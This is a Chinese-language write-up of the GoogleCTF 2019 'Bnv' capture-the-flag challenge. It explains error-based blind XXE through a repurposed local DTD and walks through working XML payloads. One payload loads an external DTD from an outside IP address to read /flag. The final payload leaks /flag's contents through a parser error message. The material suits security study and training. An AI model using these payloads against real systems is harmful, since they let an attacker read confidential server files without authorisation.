[GoogleCTF2019 Quals]Bnv
[GoogleCTF2019 Quals]Bnv
考点
基于报错的Blind XXE
利用本地DTD打XXE
wp
抓包发现请求内容是json,有json就可能会有XXE

请求头Content-type改成application/xml,用XML试一下

看到需要DTD,那就再加上内部DTD,注意这里要先声明一下to
和note
标签,要不会报错
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to)>
<!ELEMENT to (#PCDATA)>
<!ENTITY copyright "Copyright runoob.com">
]>
<note>
<to>Tove ©right;</to>
</note>

之前传json的时候,传的数据是message加数字,那这里也用message标签试试,看到请求成功了
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY copyright "135601360123502401401250">
]>
<message>©right;</message>

接着尝试加载外部实体,可以先试试能不能加载外部链接,结果没有反应,换成https://beeceptor.com/的地址就会提示failed to load external entity "https://beeceptor.com/", line 6, column 6
,难不成会自动忽略http的外部链接吗
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY copyright "135601360123502401401250">
<!ENTITY % xxe SYSTEM "http://121.5.66.238:20001/123.dtd" >
%xxe;
]>
<message>©right;&evil;</message>
123.dtd
<!ENTITY evil SYSTEM "file:///flag" >
然后试着加载内部文件,提示标记错误,那就是被加载了,但是不符合DTD格式

到这里就知道了大概,要找到Linux内部可以利用的DTD文件,且本题读取了一个错误的实体,会返回完整的实体名。那就可以先读取flag,赋值给a,再去加载一个错误的DTD,例如/nonexistent/a
就可以利用报错返回a的值,也就是flag的值
最后payload
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
小结
有json可能会有XXE
利用本地DTD文件打XXE
最后更新于